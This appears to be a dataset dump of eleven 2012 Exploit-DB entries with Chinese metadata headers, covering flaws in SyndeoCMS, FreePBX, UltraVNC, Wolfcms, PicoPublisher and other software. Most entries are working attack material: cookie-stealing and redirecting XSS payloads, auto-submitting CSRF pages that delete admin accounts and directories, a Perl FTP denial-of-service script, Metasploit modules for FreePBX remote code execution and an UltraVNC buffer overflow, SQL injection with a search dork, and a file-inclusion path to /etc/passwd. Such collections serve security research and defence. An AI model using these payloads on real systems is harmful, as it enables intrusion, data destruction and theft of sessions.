QLWD/code_shield huggingface dataset:
标题: SyndeoCMS 3.0.01 - Persistent Cross-Site Scripting EDB-ID: 18686 CVE: 2012-1979 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-30 漏洞利用脚本: +---------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title    : SyndeoCMS <= 3.0.01 Persistent XSS
# Date             : 29-03-2012
# Author           : Ivano Binetti (http://ivanobinetti.com)
# Vendor site      : http://www.syndeocms.org/
# Software link    : http://sourceforge.net/projects/syndeocms
# Version          : 3.0.01 and lower 
# Tested on        : Debian Squeeze (6.0) 
# CVE              : CVE-2012-1979
# Original Advisory: http://www.webapp-security.com/2012/03/syndeocms/
+---------------------------------------------------------------------------------------------------------------------------------+
Summary
1)Introduction
2)Description
3)Exploit
+---------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
SyndeoCMS is a "Content Management System (CMS) for primary schools, which helps you manage and maintain your website. It can also
be a very usefull CMS for small companies or non profit organizations".

2)Description
SyndeoCMS 3.0.01 (and lower) is prone to a persistent XSS vulnerability due to an improper input sanitization of 
"email" parameter, passed to server side logic (path: "starnet/index.php") via http POST method. 
Exploiting this vulnerability an authenticated user - which is able to change his profile settings - could insert arbitrary 
code in "Site email" field that will be executed when another admin or user clicks on that user'profile.

3)Exploit 
Insert the following code in "Email address" field under  
"starnet/index.php?option=configuration&suboption=users&modoption=edit_user&user_id=<user_id_number>":
email@email.com"><script>alert(document.cookie)</script>

+---------------------------------------------------------------------------------------------------------------------------------+ URL: https://www.exploit-db.com/exploits/18686
标题: KnFTPd 1.0.0 - 'FEAT' Denial of Service (PoC) EDB-ID: 18671 CVE: 2012-5905 类型: DOS 平台: WINDOWS 发布日期: 2012-03-28 漏洞利用脚本: #!/usr/bin/perl
#################################################################################
# Advisory: KnFTPd 1.0.0 'FEAT' DoS PoC-Exploit
# Author: Stefan Schurtz
# Affected Software: Successfully tested on KnFTPd 1.0.0
# Vendor URL: http://knftp.sourceforge.net/
# Vendor Status: informed
# CVE-ID: -
# PoC-Version: 1.0
#################################################################################
use strict;
use Net::FTP;

my $user = "system";
my $password = "secret";

########################
# connect
########################
my $target = $ARGV[0];
my $plength = $ARGV[1];

print "\n";
print "\t#######################################################\n";
print "\t# This PoC-Exploit is only for educational purpose!!! #\n";
print "\t#######################################################\n";
print "\n";

if (!$ARGV[0]||!$ARGV[1]) {
 print "[+] Usage: $@ <target> <payload length>\n";
 exit 1;
}

my $ftp=Net::FTP->new($target,Timeout=>12) or die "Cannot connect to $target: $@";
print "[+] Connected to $target\n";

########################
# login
########################
$ftp->login($user,$password) or die "Cannot login ", $ftp->message;
print "[+] Logged in with user $user\n";

###################################################
# Building payload './A' with min. length of 94
##################################################
my @p = ( "","./A" );
my $payload;

print "[+] Building payload\n";

for (my $i=1;$i<=$plength;$i++) {
  $payload .= $p[$i];
  push(@p,$p[$i]);
}
sleep(3);

#########################################
# Sending payload
#########################################
print "[+] Sending payload [$payload]\n";
$ftp->quot('FEAT ' ."$payload");

##########################################
# disconnect
##########################################
print "[+] Done\n";
$ftp->quit;
exit 0;
#EOF URL: https://www.exploit-db.com/exploits/18671
标题: FreePBX 2.9.0/2.10.0 - 'callmenum' Remote Code Execution (Metasploit) EDB-ID: 18659 CVE: 2012-4869 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-24 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ManualRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution',
   'Description'    => %q{
    This module exploits FreePBX version 2.10.0,2.9.0 and possibly older.
    Due to the way callme_page.php handles the 'callmenum' parameter, it
    is possible to inject code to the '$channel' variable in function
    callme_startcall in order to gain remote code execution.

    Please note in order to use this module properly, you must know the
    extension number, which can be enumerated or bruteforced, or you may
    try some of the default extensions such as 0 or 200.  Also, the call
    has to be answered (or go to voice).

    Tested on both Elastix and FreePBX ISO image installs.
   },
   'Author'         => [ 'muts','Martin Tschirsich' ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/18649/' ]
    ],
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 1024,
     'DisableNops' => true,
    },
   'Targets'        =>
    [
     [ 'Automatic Target', { }]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Mar 20 2012'))

  register_options(
   [
    OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]),
   ], self.class)
 end

 def exploit
  # Check range input
  if datastore['EXTENSION'] =~ /^(\d+)\-(\d+)$/
   min = $1.to_i
   max = $2.to_i
  else
   print_error("Please specify a range for option 'EXTENSION'")
   return
  end

  cmd = Rex::Text.uri_encode(payload.encoded)

  (min..max).each do |e|
   connect
   print_status("#{rhost}:#{rport} - Sending evil request with range #{e.to_s}")
   res = send_request_raw({
    'method' => 'GET',
    'uri' => "/recordings/misc/callme_page.php?action=c&callmenum="+e.to_s+"@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20#{cmd}%0D%0A%0D%0A",
    'version' => '1.0',
    'vhost'   => rhost
   })
   handler
   disconnect
  end
 end

end URL: https://www.exploit-db.com/exploits/18659
标题: PicoPublisher 2.0 - SQL Injection EDB-ID: 18670 CVE: 2012-5912 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-28 漏洞利用脚本: # Exploit Title : PicoPublisher v2.0 Remote SQL injection
# Date : 29/03/2012
# Author : ZeTH
# Contact : zeth/at/hacktheplan8/dot/com http://www.hacktheplan8.com
# Vendor : Pico Software 
# Site : http://pico.no/
# Version : 2.0
# Price : $29,00
# Dork : intext:"Drives med PicoPublisher"
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
--[1]-- Introduction
PicoPublisher business software
PicoPublisher is a product from Pico Software

[Manage your website]

PicoPublisher makes it easy to manage your website. With the built in 
templates you can add columns, slideshows, tabs, boxes and videos 
directly from the text editor.

[Manage your customers]

CRM systems are often too expensive for small businesses. With 
PicoPublisher you can manage your customers just as easy as your 
website. And at the same place!

[Create invoices]

Create professional PDF invoices in seconds. Add products to the 
database and insert products to the invoice directly. You will get
notifications when invoices are overdue.


--[2]-- Vulnerability
Files :
[+] page.php
[+] single.php

Attack Method : Remote SQL injection

POC :
[+] http://site/page.php?id=SQLi
[+] http://site/single.php?id=SQLi

Tables :

+-------------------+
| customers
| expenses
| gallery_category
| gallery_photos
| invoice_reminders
| invoices
| invoices_product
| menu_items
| menus
| notes
| options
| orders
| orders_product
| pages
| pico_comments
| pico_config
| pico_karma_voted
| posts
| product_list
| users
+-------------------+

--[3]-- Greetz
hacktheplan8 [hellcome to new friends kasp3r, Pitung]
MainHack Brotherhood, Kecoak Elektronik, Echo
packetstormsecurity, exploit-db, 1337day
Paman, Vrs-hCk, OoN_BoY, em|nem, [S]hiro, Martin, xshadow, ElDiablo, 
Furkan, pizzyroot, H312Y URL: https://www.exploit-db.com/exploits/18670
标题: UltraVNC 1.0.2 Client - 'vncviewer.exe' Remote Buffer Overflow (Metasploit) EDB-ID: 18666 CVE: 2008-0610 类型: REMOTE 平台: WINDOWS 发布日期: 2012-03-26 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::TcpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow',
   'Description'    => %q{
    This module exploits a buffer overflow in UltraVNC Viewer 1.0.2 Release.

    If a malicious server responds to a client connection indicating a minor
    protocol version of 14 or 16, a 32-bit integer is subsequently read from
    the TCP stream by the client and directly provided as the trusted size for
    further reading from the TCP stream into a 1024-byte character array on
    the stack.
   },
   'Author'         => 'noperand',
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2008-0610' ],
     [ 'OSVDB', '42840' ],
     [ 'BID', '27561' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP3', { 'Ret' => 0x00421a61 } ], # vncviewer.exe, 1.0.2
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Feb 6 2008',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
   ], self.class)
 end

 def on_client_connect(client)
  return if ((p = regenerate_payload(client)) == nil)

  sploit = rand_text_alpha(1100)    # junk, could be more efficient here
  sploit << "\x00\x04\x00\x00"    # value to get around a write
  sploit << rand_text_alpha(12)   # random junk
  sploit << "\xEB\x06" << make_nops(2) # short relative jump
  sploit << [target.ret].pack('V')  # pop/pop/ret (default is in vncviewer.exe)
  sploit << payload.encoded

=begin
  We prepend the initial 12 bytes including the servers' desired protocol version ("RFB 003.016").
  - These bytes are read directly by a call to ReadExact() with a size of 12.

  ...
  if (m_minorVersion == 14 || m_minorVersion == 16)
  {
   int size;
   ReadExact((char *)&size,sizeof(int));
   char mytext[1024]; //10k
   ReadExact(mytext,size);
   mytext[size]=0;
  ...

  If minor version is 16 or 14, a 32-bit integer follows indicating the size of our data to read.
  We then append our data.
=end
  sploit = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x31\x36\x0a" << [sploit.length].pack('N') << sploit

  print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
  client.put(sploit)
  handler(client)
  service.close_client(client)
 end
end URL: https://www.exploit-db.com/exploits/18666
标题: vBshop - Multiple Persistent Cross-Site Scripting Vulnerabilities EDB-ID: 18668 CVE: 2012-6679 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-26 漏洞利用脚本: # Exploit Title: vBshop persistent XSS 0day
# Google Dork: "DragonByte Technologies Ltd" vbshout
# Date: 25/3/2012 9:32 PM #EST
# Author: ToiL
# Software Link: http://www.dragonbyte-tech.com/
# Version: all
# Tested on: all
# CVE : XSS

#Greeting from Team Odyessy.
#Today we will release a 0day for the vBulletin mod, vBShout.
#This 0day exploit is brought to you by
www.Bugabuse.net/<http://www.bugabuse.net/>
#Have fun, And happy exploiting.

######Guide########


Go to vBshop
Gift an item to aother user.
In the 'message to user' put:
<script>top.location='https://www.bugabuse.net/';</script>
Send the item off.
Go to the users profile that you gifted
Boom. Pers. XSS.
Edit to your likeing.

Go to vBshop
Buy the 'username color change' or 'username glow change'
set it to
<script>top.location='https://www.bugabuse.net/';</script>
and you've got a Pers. XSS.
Edit to your likeing. URL: https://www.exploit-db.com/exploits/18668
标题: Wolfcms 0.75 - Cross-Site Request Forgery / Cross-Site Scripting EDB-ID: 18652 CVE: 2012-1898 2012-1897 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-23 漏洞利用脚本: +--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title    : Wolfcms <= 0.75 Multiple Vulnerabilities (CSRF - XSS) 
# Date             : 22-03-2012
# Author           : Ivano Binetti (http://www.ivanobinetti.com)
# Software link    : http://wolfcms.googlecode.com/files/wolfcms_075.zip
# Vendor site      : http://www.wolfcms.org/
# Version          : 0.75 and lower 
# Tested on        : Debian Squeeze (6.0) 
# Original Advisory: http://www.webapp-security.com/2012/03/wolfcms/
+--------------------------------------------------------------------------------------------------------------------------------+
Summary
1)Introduction
2)Vulnerabilities Description
3)Exploit
 3.1 CSRF - Delete Admin/User
 3.2 CSRF - Delete Pages
 3.3 CSRF - Delete "images" directory
 3.4 CSRF - Delete "themes" directory
 3.5 CSRF (Force Logout)
 3.6 XSS 
+--------------------------------------------------------------------------------------------------------------------------------+
1)Introduction
Wolfcms is a "ligh-weight, fast, simple and powerful" cms.

2)Vulnerabilities Description
Wolfcms 0.75 (and lower) is prone to multiple CSRF vulnerabilities that allow to delete admin/user, delete web pages, delete 
"images" and "themes" directory, force logout  when an authenticated admin/user browses a special crafted web page.
This cms is also affected by XSS vulnerabilities in "wolfcms/admin/user/add" pages due to an improper input sanitization of 
"user[name]", "user[email]" and "user[username]" parameters passed via POST http method.

3)Exploit
 3.1 CSRF (Delete Admin/User)
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <form method="POST" name="form0" action="http://<wolfcms_ip>:80/admin/user/delete/2">
 </form>
 </body>
 </html>

 3.2 CSRF (Delete Pages)
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <form method="POST" name="form0" action="http://<wolfcms_ip>:80/admin/page/delete/1">
 </form>
 </body>
 </html> 
 
 3.3 CSRF - Delete "images" directory
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <form method="POST" name="form0" action="http://<wolfcms_ip>:80/admin/plugin/file_manager/delete/images">
 </form>
 </body>
 </html> 

 3.4 CSRF - Delete "themes" directory
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <form method="POST" name="form0" action="http://<wolfcms_ip>:80/admin/plugin/file_manager/delete/themes">
 </form>
 </body>
 </html>
 

 3.5 CSRF (Force Logout)
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <form method="POST" name="form0" action="http://<wolfcms_ip>:80/admin/login/logout">
 </form>
 </body>
 </html>


 3.6 XSS
 To exploit "Name" and "Username" "E-mail" fields: 
 "><script>alert("XSS")</script> 

 
+--------------------------------------------------------------------------------------------------------------------------------+ URL: https://www.exploit-db.com/exploits/18652
标题: Family CMS 2.9 - Multiple Vulnerabilities EDB-ID: 18667 CVE: 2012-0699 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-26 漏洞利用脚本: Family CMS 2.9  and earlier multiple Vulnerabilities
===================================================================================
# Exploit Title: Family CMS 2.9  and earlier multiple Vulnerabilities
# Download link :http://sourceforge.net/projects/fam-connections/files/Family%20Connections/2.9/FCMS_2.9.zip/download
# Author: Ahmed Elhady Mohamed
# Email : ahmed.elhady.mohamed@gmail.com
# version: 2.9
# Category: webapps
# Tested on: ubuntu 11.4  
===================================================================================
 
 
 Tips:
 *****First we must install all optional sections during installation process.*****       
       
1- CSRF Vulnerabilities :

 POC 1: Page "familynews.php"
      
    
  <html>
      <head>
          <script type="text/javascript">
              function autosubmit() {
                  document.getElementById('ChangeSubmit').submit();
              }  
          </script>
      </head>
      <body  onLoad="autosubmit()">
          <form method="POST"  action="http://[localhost]/FCMS_2.9/familynews.php"  id="ChangeSubmit">
              <input type="hidden"  name="title"  value="test" />
              <input type="hidden"  name="submitadd"  value="Add" />
              <input type="hidden"  name="post"  value="testcsrf" />
              <input type="submit" value="submit"/>
          </form>
      </body>
  </html>
  
  --------------------------------------------------------------------------------------------------------
     
  POC 2:Page "prayers.php"
     

       <html>
  <head>
      <script type="text/javascript">
          function autosubmit() {
              document.getElementById('ChangeSubmit').submit();
          }  
      </script>
  </head>
  <body  onLoad="autosubmit()">
      <form method="POST"  action="http://[localhost]/FCMS_2.9/prayers.php" id="ChangeSubmit">
          <input type="hidden"  name="for"  value="test" />
          <input type="hidden"  name="submitadd"  value="Add" />
          <input type="hidden"  name="desc"  value="testtest" />
          <input type="submit" value="submit"/>
      </form>
   
  </body>
     </html>
----------------------------------------------------------------------------------------------------------------------------
2-Reflected XSS
 
 POC :   http://[localhost]/fcms_2.9/gallery/index.php?uid=%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E

----------------------------------------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/18667
标题: phpMoneyBooks 1.0.2 - Local File Inclusion EDB-ID: 18648 CVE: 2012-6665 2012-1669 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-22 漏洞利用脚本: 'phpMoneyBooks' Local File Inclusion (CVE-2012-1669)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in index.php for module handling that allows for local file inclusion using a null-byte attack on the 'module' GET parameter.

 
II. TESTED VERSION
---------------------------------------
1.0.2


III. PoC EXPLOIT
---------------------------------------
http://localhost/phpMoneyBooks102/index.php?module=../../../../../etc/passwd%00


IV. NOTES 
---------------------------------------
* magic_quotes_gpc must be disabled and PHP must be < 5.3.4 for null-byte attacks to work


V. SOLUTION
---------------------------------------
Upgrade to 1.0.3 or above.


VI. REFERENCES
---------------------------------------
http://phpmoneybooks.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1669


VII. TIMELINE
---------------------------------------
02/29/2012 - Initial vendor disclosure
03/01/2012 - Vendor patched and released an updated version
03/22/2012 - Public disclosure URL: https://www.exploit-db.com/exploits/18648
标题: FreePBX 2.9.0/2.10.0 - Multiple Vulnerabilities EDB-ID: 18649 CVE: 2012-4870 2012-4869 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-22 漏洞利用脚本: Product: FreePBX
Version: 2.10.0, 2.9.0 and perhaps earlier versions
Type: Remote Command Execution, XSS
Release Date: March 14, 2012
Vendor Notification Date: Jun 12, 2011
Author: Martin Tschirsich


Overview:


A remote command execution vulnerability and some XSS in current and earlier
FreePBX versions due to missing input sanitization.
FreePBX is a popular implementation (500,000 active phone systems) of
Asterisk (telephony software) based around a web-based configuration
interface and other tools. Some of these installations are on a public IP
address.


Proof of Concept:

RCE:
[HOST]/recordings/misc/callme_page.php?action=c&callmenum=[PHONENUMBER]@from
-internal/n%0D%0AApplication:%20system%0D%0AData:%20[CMD]%0D%0A%0D%0A

XSS (2.9.0 and perhaps other versions):
[HOST]/panel/index_amp.php?context=[XSS]
[HOST]/panel/flash/mypage.php?clid=[XSS]
[HOST]/panel/flash/mypage.php?clidname=[base64_encode(XSS)]
[HOST]/panel/dhtml/index.php?context=/../%00">[XSS]
[HOST]/admin/views/freepbx_reload.php/"</script>[XSS]
[HOST]/recordings/index.php?login='>[XSS]


Details (RCE):

Missing input sanitization in htdocs/recordings/misc/callme_page.php:
// line 28-30:
$to         = $_REQUEST['callmenum']; // vulnerable
$msgFrom    = $_REQUEST['msgFrom'];
$new_path   = substr($path, 0, -4);     
// line 38:
$call_status = callme_startcall($to, $msgFrom, $new_path);

Missing input sanitization in htdocs/recordings/includes/callme.php:
// line 88-117:
function callme_startcall($to, $from, $new_path)
{
        global $astman;
        $channel        = "Local/$to () from-internal/n";  // vulnerable
        $context        = "vm-callme";
        $extension      = "s";
        $priority       = "1";
        $callerid       = "VMAIL/$from";
        ...
        /* Arguments to Originate: channel, extension, context, priority,
timeout, callerid, variable, account, application, data */
        $status = $astman->Originate($channel, $extension, $context,
$priority, NULL, $callerid, $variable, NULL, NULL, NULL, NULL);
        ...
}


Unofficial Patch (RCE, tested with 2.9.0):

Patch htdocs/recordings/modules/callme_page.php:
http://pastebin.com/ZbX50qaZ
Patch htdocs/recordings/modules/voicemail.module:
http://pastebin.com/vv3qczfC



Disclaimer:


The vendor has been contacted and provided with a patch several times since
Jun 12, 2011. Since no intention to address this issue was shown, I felt it
was in the best interest to disclose the vulnerability.

All information in this advisory is provided on an 'as is' basis in the hope
that it will be useful. The author not responsible for any risks or
occurrences caused by the application of this information. URL: https://www.exploit-db.com/exploits/18649
标题: vBShout - Persistent Cross-Site Scripting EDB-ID: 18644 CVE: 2012-6667 类型: WEBAPPS 平台: PHP 发布日期: 2012-03-22 漏洞利用脚本: # Exploit Title: vBShout persistent XSS 0day

# Google Dork: "DragonByte Technologies Ltd" vbshout

# Date: 21/3/2012 9:00 PM #EST

# Author: ToiL

# Software Link: http://www.dragonbyte-tech.com/

# Version: all

# Tested on: all

# CVE : XSS

#Greeting from Team Odyessy.
#Today we will release a 0day for the vBulletin mod, vBShout.
#This 0day exploit is brought to you by www.Bugabuse.net/
#Have fun, And happy exploiting.

######Guide########


Enter
<script>top.location='https://www.bugabuse.net/';</script>
into the shoutbox
go into the archive.
Vioala. Persistent XSS exploit.
Modify to your liking. URL: https://www.exploit-db.com/exploits/18644